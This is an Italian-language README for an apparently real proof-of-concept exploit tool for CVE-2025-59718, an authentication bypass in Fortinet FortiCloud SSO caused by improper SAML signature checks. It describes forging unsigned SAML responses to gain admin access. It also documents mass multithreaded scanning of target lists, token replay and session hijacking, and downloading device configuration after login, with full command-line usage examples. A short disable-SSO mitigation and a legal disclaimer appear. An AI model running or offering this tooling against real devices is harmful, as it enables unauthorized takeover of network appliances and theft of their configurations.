
Fortinet ha annunciato due vulnerabilità strettamente correlate di bypass dell'autenticazione il 9 dicembre 2025. Entrambi i difetti comportano una verifica impropria delle firme crittografiche (CWE-347) nella gestione delle risposte SAML per la funzionalità di accesso SSO di FortiCloud.
Questo strumento è uno script proof-of-concept (PoC) per CVE-2025-59718, una vulnerabilità critica di bypass dell'autenticazione nei prodotti Fortinet (ad es. FortiOS, FortiProxy, FortiSwitchManager) dovuta a una verifica impropria delle firme crittografiche nei messaggi SAML per FortiCloud SSO. La vulnerabilità consente a utenti remoti non autenticati di aggirare l'autenticazione e ottenere accesso amministrativo creando e inviando una risposta SAML non firmata.
Nota importante: Questo script è destinato esclusivamente a scopi educativi, di ricerca e di test autorizzati. L'uso non autorizzato su sistemi senza esplicito permesso è illegale e non etico. Rispetta sempre le leggi applicabili e ottieni la dovuta autorizzazione prima di eseguire test.
Lo script supporta la scansione di un singolo target o di più target in bulk, l'uso opzionale di un proxy, simulazioni di replay di token SAML e hijacking di sessione, e azioni post-autenticazione come il download di file di configurazione. Utilizza il multi-threading per l'efficienza e registra i risultati su file per l'analisi.
config system global
set admin-forticloud-sso-login disable
end
pip:
pip install requests argparse
(Lo script usa librerie standard per la maggior parte delle funzionalità; non sono necessarie ulteriori installazioni oltre a queste.)exploit.py).pip install -r requirements.txt
(Creare requirements.txt con: requests e argparse se necessario.)chmod +x exploit.py
Eseguire lo script con Python:
python exploit.py [options]
--target <IP/hostname>: Singolo target da scansionare (ad es. 192.168.1.1 o example.com).--targets <elenco separato da virgole>: Più target (ad es. 192.168.1.1,example.com).--file <percorso>: File con un target per riga.--username <nome>: Nome utente da impersonare nel payload SAML (default: admin).--endpoint <percorso>: Endpoint di login SAML (default: /remote/saml/login).--max-threads <int>: Numero massimo di thread concorrenti (default: 10; massimo consigliato: 50).--saml-token <token>: Token SAML codificato in Base64 per replay/hijacking (opzionale).--proxy <url>: URL del proxy (ad es. http://127.0.0.1:8080).--post-auth-config: Abilita il download della configurazione post-autenticazione (flag; disabilitato di default).--vulnerable-file <percorso>: File in cui salvare i target vulnerabili (default: vulnerable_targets.txt).--output-file <percorso>: File CSV per i report degli attacchi (default: attack_report.csv).Nota: Se non vengono fornite opzioni di target, lo script terminerà con un errore.
Scansione singolo target:
python exploit.py --target 192.168.1.1 --username admin --proxy http://127.0.0.1:8080
Scansiona un singolo dispositivo, impersonando admin, tramite un proxy locale.
Scansione bulk da elenco:
python exploit.py --targets 192.168.1.1,example.com --max-threads 20 --post-auth-config
Scansiona più target in parallelo, abilita il download della configurazione in caso di successo.
Scansione da file con replay del token:
python exploit.py --file targets.txt --saml-token <base64_token> --endpoint /custom/saml
Elabora i target da targets.txt, tenta il replay/hijacking del token.
Scansione completa non interattiva:
python exploit.py --file targets.txt --username superadmin --max-threads 15 --post-auth-config --output-file results.csv
Nome utente personalizzato, thread elevati, download della configurazione, output personalizzato.
/api/v2/monitor/system/config/backup.Esempio di riga CSV:
Target,Username,Attack Type,Result,Status Code
https://192.168.1.1,admin,Config Download,Success,200